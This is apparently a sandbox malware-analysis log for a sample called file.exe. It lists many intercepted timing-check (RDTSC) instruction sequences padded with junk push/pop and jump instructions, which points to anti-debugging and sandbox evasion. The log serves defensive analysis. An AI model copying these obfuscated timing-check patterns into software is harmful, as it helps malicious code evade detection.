Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A2ACB second address: 5A2AEA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F3F24EE26FAh 0x00000008 jg 00007F3F24EE26F6h 0x0000000e pop ecx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push ecx 0x00000012 jne 00007F3F24EE26FCh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A2AEA second address: 5A2AF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A2AF1 second address: 5A2AF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A2C68 second address: 5A2C75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F3F244F40D6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A2C75 second address: 5A2C9C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 pop edi 0x00000008 jbe 00007F3F24EE2706h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A2C9C second address: 5A2CC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F244F40DEh 0x00000009 popad 0x0000000a jnp 00007F3F244F40E5h 0x00000010 jmp 00007F3F244F40DFh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A2287 second address: 5A228C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A228C second address: 5A2293 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A2293 second address: 5A2299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A31FC second address: 5A3244 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007F3F244F40E5h 0x0000000a popad 0x0000000b jmp 00007F3F244F40E8h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 jmp 00007F3F244F40DFh 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A3244 second address: 5A324D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A77A2 second address: 5A77A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A77A8 second address: 5A77BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F3F24EE26FEh 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A7A8B second address: 5A7ACC instructions: 0x00000000 rdtsc 0x00000002 je 00007F3F244F40D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F3F244F40DCh 0x00000010 jnc 00007F3F244F40D6h 0x00000016 push eax 0x00000017 pop eax 0x00000018 popad 0x00000019 push ebx 0x0000001a jmp 00007F3F244F40DEh 0x0000001f push ecx 0x00000020 pop ecx 0x00000021 pop ebx 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 push edi 0x00000027 pop edi 0x00000028 push eax 0x00000029 pop eax 0x0000002a jng 00007F3F244F40D6h 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A7ACC second address: 5A7AD7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F3F24EE26F6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A80A8 second address: 5A80D5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f pop eax 0x00000010 jmp 00007F3F244F40E9h 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A8614 second address: 5A8676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F24EE2700h 0x00000009 jmp 00007F3F24EE2705h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 popad 0x00000011 pushad 0x00000012 push edx 0x00000013 pop edx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 jng 00007F3F24EE26F6h 0x0000001c popad 0x0000001d pushad 0x0000001e jo 00007F3F24EE26F6h 0x00000024 pushad 0x00000025 popad 0x00000026 js 00007F3F24EE26F6h 0x0000002c popad 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F3F24EE2708h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A87E7 second address: 5A87F3 instructions: 0x00000000 rdtsc 0x00000002 js 00007F3F244F40DEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AFC56 second address: 5AFC5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A0CA second address: 55162A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 nop 0x00000007 pushad 0x00000008 sbb esi, 03940097h 0x0000000e mov ah, E5h 0x00000010 popad 0x00000011 call dword ptr [ebp+122D2D48h] 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a pushad 0x0000001b popad 0x0000001c push ebx 0x0000001d pop ebx 0x0000001e pop eax 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A604 second address: 3C176E instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3F24EE26FCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov cx, 6AB2h 0x0000000f push dword ptr [ebp+122D0691h] 0x00000015 sub dword ptr [ebp+122D198Bh], edx 0x0000001b call dword ptr [ebp+122D1EFCh] 0x00000021 pushad 0x00000022 mov dword ptr [ebp+122D1E93h], ebx 0x00000028 xor eax, eax 0x0000002a cld 0x0000002b mov edx, dword ptr [esp+28h] 0x0000002f pushad 0x00000030 mov ecx, dword ptr [ebp+122D2804h] 0x00000036 xor bx, 3321h 0x0000003b popad 0x0000003c mov dword ptr [ebp+122D2978h], eax 0x00000042 jmp 00007F3F24EE26FDh 0x00000047 mov esi, 0000003Ch 0x0000004c mov dword ptr [ebp+122D1F18h], edx 0x00000052 add esi, dword ptr [esp+24h] 0x00000056 jmp 00007F3F24EE2702h 0x0000005b lodsw 0x0000005d mov dword ptr [ebp+122D1E93h], ecx 0x00000063 add eax, dword ptr [esp+24h] 0x00000067 ja 00007F3F24EE270Ah 0x0000006d mov ebx, dword ptr [esp+24h] 0x00000071 jmp 00007F3F24EE2703h 0x00000076 cld 0x00000077 nop 0x00000078 jng 00007F3F24EE2702h 0x0000007e jns 00007F3F24EE26FCh 0x00000084 push eax 0x00000085 push ecx 0x00000086 pushad 0x00000087 push eax 0x00000088 push edx 0x00000089 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A9E3 second address: 56A9E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56AA7E second address: 56AA85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B482 second address: 5520B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F244F40E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007F3F244F40D8h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 clc 0x00000027 call dword ptr [ebp+122D2F4Ch] 0x0000002d jmp 00007F3F244F40DCh 0x00000032 push eax 0x00000033 push edx 0x00000034 je 00007F3F244F40F2h 0x0000003a jp 00007F3F244F40D6h 0x00000040 jmp 00007F3F244F40E6h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B31CD second address: 5B31D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B31D3 second address: 5B31D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B31D9 second address: 5B31E3 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3F24EE26F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B38E5 second address: 5B38F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F244F40DAh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B38F6 second address: 5B38FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3C00 second address: 5B3C14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3F244F40E0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3C14 second address: 5B3C1A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3C1A second address: 5B3C25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B6FBF second address: 5B6FE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F3F24EE26F6h 0x0000000a pop ecx 0x0000000b jmp 00007F3F24EE2709h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B6FE3 second address: 5B6FF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3F244F40DDh 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B6889 second address: 5B68C0 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3F24EE26F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F3F24EE2709h 0x0000000f pop ebx 0x00000010 pushad 0x00000011 jmp 00007F3F24EE26FEh 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B6A46 second address: 5B6A4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B6A4E second address: 5B6A56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9343 second address: 5B9381 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F244F40E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3F244F40DEh 0x00000011 jmp 00007F3F244F40E1h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9381 second address: 5B939F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F24EE2705h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B939F second address: 5B93A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524E1C second address: 524E4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F24EE2704h 0x00000007 jnp 00007F3F24EE26F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 jmp 00007F3F24EE26FBh 0x00000015 pushad 0x00000016 popad 0x00000017 pop edi 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524E4C second address: 524E52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BD23D second address: 5BD276 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F3F24EE2706h 0x0000000e jmp 00007F3F24EE2703h 0x00000013 js 00007F3F24EE26F6h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BD690 second address: 5BD697 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BD697 second address: 5BD6A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3F24EE26FBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BD6A6 second address: 5BD6CA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F3F244F40E7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BD6CA second address: 5BD6D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BD6D0 second address: 5BD6D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BD96E second address: 5BD976 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BD976 second address: 5BD99C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007F3F244F40DAh 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F3F244F40E5h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BD99C second address: 5BD9A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C365F second address: 5C3666 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C1FD5 second address: 5C1FDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C25A1 second address: 5C25A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C25A9 second address: 5C25AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C26F0 second address: 5C26FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3F244F40DAh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C26FF second address: 5C270A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C270A second address: 5C270E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56AE8A second address: 56AEA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F3F24EE26F6h 0x00000009 jc 00007F3F24EE26F6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jnp 00007F3F24EE26F8h 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C284D second address: 5C2867 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3F244F40E5h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C2867 second address: 5C2886 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F24EE2702h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C6A9F second address: 5C6AA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C6AA3 second address: 5C6AB1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3F24EE26F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C6AB1 second address: 5C6AB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C6AB5 second address: 5C6ACA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F24EE26FBh 0x00000007 jnl 00007F3F24EE26F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C6C1D second address: 5C6C39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F244F40E3h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C6D7B second address: 5C6D94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F3F24EE2700h 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CD6D7 second address: 5CD6F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F244F40E4h 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CD6F0 second address: 5CD719 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3F24EE26FFh 0x00000008 pushad 0x00000009 popad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 jng 00007F3F24EE26FCh 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CD719 second address: 5CD71F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDCEC second address: 5CDCF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDCF2 second address: 5CDCF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDCF6 second address: 5CDCFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDFA7 second address: 5CDFBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jc 00007F3F244F40DEh 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jne 00007F3F244F40D6h 0x00000013 push eax 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CE58A second address: 5CE58E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CE58E second address: 5CE5A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F3F244F40D6h 0x0000000e jnp 00007F3F244F40D6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CEBAA second address: 5CEBC4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F24EE2704h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CEBC4 second address: 5CEBCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CEBCA second address: 5CEBCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CEE6E second address: 5CEE7D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3F244F40D6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CEE7D second address: 5CEE8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007F3F24EE26F6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CEE8D second address: 5CEE91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CEE91 second address: 5CEEA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jp 00007F3F24EE26F6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CEEA2 second address: 5CEEBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F244F40E4h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CEEBB second address: 5CEEC9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 jl 00007F3F24EE2702h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CEEC9 second address: 5CEECF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D37D5 second address: 5D37D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D65B5 second address: 5D65C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F244F40DCh 0x00000009 pop ecx 0x0000000a rdtsc
